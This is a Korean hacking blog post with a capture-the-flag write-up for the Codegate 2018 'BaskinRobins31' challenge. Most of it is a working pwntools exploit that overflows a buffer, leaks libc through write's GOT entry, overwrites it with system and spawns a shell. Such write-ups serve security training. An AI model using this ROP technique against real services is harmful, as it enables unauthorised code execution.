일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 |
- gogs
- lob
- codegate2017
- CODEGATE2018
- openctf
- 코드게이트2017
- pwntools
- npm
- 코드게이트 주니어
- node.js
- BLUETOOTH
- pwnable
- doorlock
- Hacking
- https
- NGINX
- 노드 엑셀
- shellcraft
- node
- xlsx
- 도메인 https
- blueborne
- Codegate
- Git
- CVE
- Branch
- https설정
- 코드게이트
- gogs private git
- module
- Today
- Total
고졸백수해킹일기
codegate2018 BaskinRobins31 본문
추천받아서 풀어본 문제
your_turn 함수에서 터지게 된다.
file : http://web.noe.systems/binary/Baskinrobins31
아래는 페이로드
from pwn import *
prob = ELF('./BaskinRobins31')
#print prob.symbols['read']
s = remote("localhost",7777)
dummy = "1"+"A"*183 #0xB0
write_plt = 0x4006d0
write_got = 0x602028
read_plt = 0x400700
read_got = 0x602040
sh = "/bin/sh"
bss = 0x602090
gad = 0x40087a
payload = ""
offset_system = 0xa8e20
print s.recvuntil("How many numbers do you want to take ? (1-3)")
payload+=dummy
payload+=p64(gad)
payload+=p64(1)
payload+=p64(write_got)
payload+=p64(8)
payload+=p64(write_plt)
payload+=p64(gad)
payload+=p64(0)
payload+=p64(bss)
payload+=p64(len(sh))
payload+=p64(read_plt)
payload+=p64(gad)
payload+=p64(0)
payload+=p64(write_got)
payload+=p64(8)
payload+=p64(read_plt)
payload+=p64(0x00400bc3)
payload+=p64(bss)
payload+=p64(write_plt)
s.sendline(payload)
print s.recvuntil("\n")
print s.recvuntil("\n")
print s.recvuntil("\x00")
write = u64(s.recv(7)+"\x00")
system = write-offset_system
s.send(sh)
s.send(p64(system))
s.interactive()
'Pwnable' 카테고리의 다른 글
ARM exploit (0) | 2020.09.12 |
---|---|
pdb symbol 수동으로 다운 (0) | 2020.08.14 |
defcon2017 smashme (exploit only) (0) | 2018.03.28 |
pwntools shellcraft 사용법 (0) | 2018.03.15 |
codegate2014 nuclear (0) | 2018.03.09 |